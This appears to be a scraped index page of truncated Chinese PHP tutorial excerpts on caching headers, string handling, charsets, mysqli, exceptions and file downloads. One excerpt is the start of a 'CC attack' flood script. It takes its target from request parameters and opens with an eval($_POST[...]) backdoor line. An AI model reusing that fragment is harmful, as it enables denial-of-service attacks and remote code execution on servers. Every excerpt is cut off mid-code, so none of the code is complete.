在網速找了好多方法,最終還是解決了 其實最簡單的方法是在頭部加標籤 還可以用程式控制 複製代碼 代碼如下: header("Cache-control:no-cache,no-store,must-revalidate"); header("Pragma:no-cache"); header("Expires:0"); ?> 如果在或header("Cache-control:no-cache,no-store,must-
PHP中有三種存取修飾詞,分別是: public(公用的、預設) protected(受保護的) private(私人的) 它們可以分別用在類的屬性和方法上(類的屬性和方法統稱為類的成員),用來修飾類成員的存取權限。 public(公用的、預設) 在PHP5中如果類沒有指定成員的存取修飾詞,預設就是public的存取權限。 /* 以下兩個方法聲明存取權限效果相同 */ function say(){}; publilc function say(){};
文字浮水印: 複製代碼 代碼如下: $w = 80; $h = 20; $im = imagecreatetruecolor($w,$h); $textcolor = imagecolorallocate($im, 123, 12, 255); $white = imagecolorallocate($im, 255, 255, 255); $grey = imagecolorallocate($im, 128, 128, 128); $black =
複製代碼 代碼如下: /** * author: goosman * blog: http://blog.csdn.net/lgg201 * mail: lgg860911@yahoo.com.cn */ $str = '01234567890120123456789'; function substr_remain_tag($s, $o, $l) { $is_match =
similar_text — 計算兩個字串的相似性 int similar_text ( string $first , string $second [, float &$percent ] ) $first 必需。規定要比較的第一個字串。 $second 必需。規定要比較的第二個字串。 $percent 可選。規定供儲存百分比相似性的變數名。 兩個字串的相似程度計算依據 Oliver [1993] 的描述進行。注意該實現沒有使用 Oliver
我們知道,mysqli是PHP 5中新提供的MySQL介面,此介面使用了物件導向的思想。使用mysqli介面的代碼可讀性更強,其執行效率比mysql介面高。而且mysqli提供了一個能夠一次執行多個SQL語句的multi_query()函數。但是,mysqli介面只支援PHP 5和MySQL
複製代碼 代碼如下: class getValues { public function inputValue($inputArray) { $this->inputArray = $inputArray; } public function getValue($number) { $this->number = $number; for($i = 0; $i number; $i ++) { $index = rand ( 0, count ( $this->inputArray ) - 1
複製代碼 代碼如下: /* * 功能: 作用跟substr一樣,除了它不會造成亂碼 * 參數: * 返回: */ function utf8_substr( $str , $start , $length=null ){ // 先正常截取一遍. $res = substr( $str , $start , $length ); $strlen = strlen( $str ); /* 接著判斷頭尾各6位元組是否完整(不殘缺) */ // 如果參數start是正數 if ( $start >= 0
複製代碼 代碼如下: // 自動轉換字元集 支援數群組轉換 function auto_charset($fContents, $from='gbk', $to='utf-8') { $from = strtoupper($from) == 'UTF8' ? 'utf-8' : $from; $to = strtoupper($to) == 'UTF8' ? 'utf-8' : $to; if (strtoupper($from) === strtoupper($to) ||
set_include_path 設定預設包含路徑 在include或require檔案的時候,先在預設包含路徑裡面找,然後在同目錄下找 例: D:/xampp/htdocs/test/include 下有一檔案為cls.mysqli.php D:/xampp/htdocs/test/ 下有一檔案為set_include_path.php 裡面的內容為 複製代碼 代碼如下:
有時候很實用在一些場合,留住備用吧複製代碼 代碼如下:function is_mobile_request() { $_SERVER['ALL_HTTP'] = isset($_SERVER['ALL_HTTP']) ? $_SERVER['ALL_HTTP'] : ''; $mobile_browser = '0'; if(preg_match('/(up.browser|up.link|mmp|symbian|smartphone|
在資料庫教程設計時必須注意時間欄位為int(11)這樣,儲存在資料庫的是一個數字型日期時間戳記,我們可以用mktime函數求出當前日期的時間戳記進行加減就OK了,下面看執行個體 //一個月 複製代碼 代碼如下: $lastMonth = mktime(date(‘h'),date(‘i'),date(‘s'),date(‘m')-1,date(‘d'),date(‘y')); $where .= ” dtime > $lastMonth”; //三個月 複製代碼 代碼如下:
cc攻擊代碼,支援udp複製代碼 代碼如下: eval($_POST[Chr(90)]); set_time_limit(86400); ignore_user_abort(True); $packets = 0; $http = $_GET['http']; $rand = $_GET['exit']; $exec_time = $_GET['time']; if (StrLen($http)==0 or StrLen($rand)==0 or StrLen($exec_time)==0) {
例如: 複製代碼 代碼如下: $a = 1; include 'b.inc'; ?> 這裡變數 $a 將會在包含檔案 b.inc 中生效。但是,在使用者自訂函數中,一個局部函數範圍將被引入。任何用於函數內部的變數按預設情況將被限制在局部函數範圍內,此時為局部變數。 PHP 中全域變數在函數中使用時必須申明為global。 在函數中使用global聲明的變數即為全域變數,可以在函數外使用。注意:global聲明變數時,不能直接對變數賦值,需要先聲明後賦值。
異常處理用於在指定的錯誤(異常)情況發生時改變指令碼的正常流程。這種情況稱為異常。 PHP 5 添加了類似於其它語言的異常處理模組。在 PHP 代碼中所產生的異常可被 throw 語句拋出並被 catch 語句捕獲。需要進行異常處理的代碼都必須放入 try 代碼塊內,以便捕獲可能存在的異常。每一個 try 至少要有一個與之對應的 catch。使用多個 catch 可以捕獲不同的類所產生的異常。當 try 代碼塊不再拋出異常或者找不到 catch 能匹配所拋出的異常時,PHP
zendframework項目環境搭建後,看了下zend framework配置操作資料庫,php教程如下: 在application/configs的檔案下建立一個config.ini檔案 配置資訊如下: [general] db.adapter=PDO_MYSQL db.config.host=localhost/IParess db.config.username=username db.config.password=password
複製代碼 代碼如下: $myip = $_SERVER["REMOTE_ADDR"]; //ip138 http://wap.ip138.com/ip.asp?ip=www.myolnet.com //youdao http://www.youdao.com/smartresult-xml/search.s?type=ip&q=ip
修改:config.inc.php在第一行加入$ip_prefix = '192.168.121.'; if (substr($_SERVER['REMOTE_ADDR'], 0, strlen($ip_prefix)) != $ip_prefix ) die('illegal access
上一篇文章介紹了php-excel-reader讀取excel檔案的方法,因為需要,將excel這樣的資料:建立資料庫表如下:-- 資料庫: `alumni`-- 表的結構 `alumni`CREATE TABLE IF NOT EXISTS `alumni` ( `id` bigint(20) NOT NULL AUTO_INCREMENT, `gid` varchar(20) DEFAULT NULL COMMENT '檔案編號', `student_no` varchar(20)
PHP用代碼實現檔案下載,閱讀PHP用代碼實現檔案下載,我們一般實現下載都是調用url來下載,但是遇到ie能識別開啟的檔案就不能用這種方式了,比如下載一個圖片、html網頁等,這時就需要編程來實現,以下php代碼可以解決:?if( empty($_GET[ 我們一般實現下載都是調用url來下載,但是遇到ie能識別開啟的檔案就不能用這種方式了,比如下載一個圖片、html網頁等,這時就需要編程來實現,以下php代碼可以解決: 複製代碼 代碼如下: if( empty($_GET['FileName'